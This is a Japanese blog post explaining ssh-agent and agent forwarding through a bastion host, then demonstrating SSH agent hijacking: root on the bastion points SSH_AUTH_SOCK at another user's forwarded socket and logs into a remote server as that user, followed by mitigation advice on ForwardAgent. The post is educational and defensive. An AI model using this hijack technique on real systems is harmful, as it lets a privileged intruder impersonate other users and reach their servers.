概要
ssh-agentは便利ですが、第三者に悪用されるリスクもあります。この時の動きを実際に試してみましょう。
具体的には、他のユーザになりすましてSSHログインしてみます。
ssh-agentとは?
主にローカルホストにて、秘密鍵の情報を保持するプログラムです。Mac環境ではデフォルトで起動している思いますし、Windows環境では同じ用途でPageantがよく使われます。GitBashならssh-agentも使えます。
ssh-agentを利用する主なメリットは、下記の2点です。
パスフレーズの入力の手間を省く
ssh-agentは秘密鍵のパスフレーズを記憶します。初回SSHログイン時にパスフレーズを入力し、それ以降はログインするホストが異なっても、パスフレーズを再度入力する必要はありません。ssh-agentが記憶しているためです。
特に、「スクリプトから大量のホストにSSH接続をしてコマンドを実行したい」というケースにおいて、ssh-agentは有用です。
多段SSHを楽かつ安全に
「目的のサーバにログインするために踏み台サーバを経由する」というのは、よくある構成だと思います。
[ローカルホスト]---[踏み台サーバ]---[リモートサーバ]
ローカルホストでssh-agentを実行することで、ローカルホストにある秘密鍵の情報を使い、踏み台サーバとリモートサーバにログインすることができます。(踏み台サーバとリモートサーバに公開鍵を設定する必要はあります。)
ここでポイントになるのは、踏み台サーバに秘密鍵を置く必要が無いという点です。これはもちろん、セキュリティ的な観点で優れています。
この時のSSHクライアント、SSHデーモン、ssh-agentの動作については、こちらの記事が分かりやすかったです。(英語になりますが)
SSHエージェントハイジャックを試す
説明がやや長くなりましたが、本題です。まず実際にやってみましょう。
準備
先ほどの例の構成を用意します。(ローカルホスト、踏み台サーバ、リモートサーバ)
その上で、下記を行います。
- ローカルホストでssh-agentを起動し(起動していなければ)、秘密鍵を登録
$ ssh-add /path/to/id_rsa
- ペアとなる公開鍵を踏み台サーバへ設置
~/.ssh/authorized_keys
- 同じ公開鍵をリモートサーバにも設置
~/.ssh/authorized_keys
試す
### ローカルホストで実行 ###
$ whoami
mokrai
## 秘密鍵が登録されていることを確認
$ ssh-add -l
(出力は省略)
## "-A"で秘密鍵の情報を引き継ぎ、踏み台へログイン
$ ssh -A fumidai
### ここからは踏み台サーバ ###
## ssh-agentとの通信で使われるUnixドメインソケットを表示
$ echo $SSH_AUTH_SOCK
/tmp/ssh-cL74qUAjib/agent.1086
## rootユーザへスイッチ
$ sudo su -
## 先ほどのUnixドメインソケットを環境変数に設定
# export SSH_AUTH_SOCK=/tmp/ssh-cL74qUAjib/agent.1086
## mokraiユーザとしてリモートサーバへログイン(成功してしまう)
# ssh mokrai@remote-server
何が起きた?
rootユーザがmokraiユーザになりすまし、remote-serverへのログインに成功しました。これは、rootユーザがUnixドメインソケット経由で、ローカルホストのmokraiユーザの秘密鍵の情報にアクセスできたからです。
もちろん、このソケットファイルは厳しいパーミッションが設定されていて、誰でも読み書きができるわけではありません。しかし、rootユーザであれば自由な操作が可能です。
「rootユーザだけなら問題ないのでは?」と考える方もいるかもしれませんが、常にrootユーザを信頼できる環境ばかりではないでしょう。
SSH Agent Hijackingを防ぐ
ssh-agentを使わない、という話になってしまいます。
したがって、「信頼できるホストへのログインでは使う、そうでないなら使わない」というのが、現実的かもしれません。
やや余談ですが、~/.ssh/config
の各ホストの設定でForwardAgent yes
もしくはForwardAgent no
を設定することができます。これによって、SSHログイン対象のホスト単位で、ssh-agentを使うかどうかを設定できます。
まとめ
ssh-agentは便利。ただしリスクもあるので、理解した上で適切に使いましょう。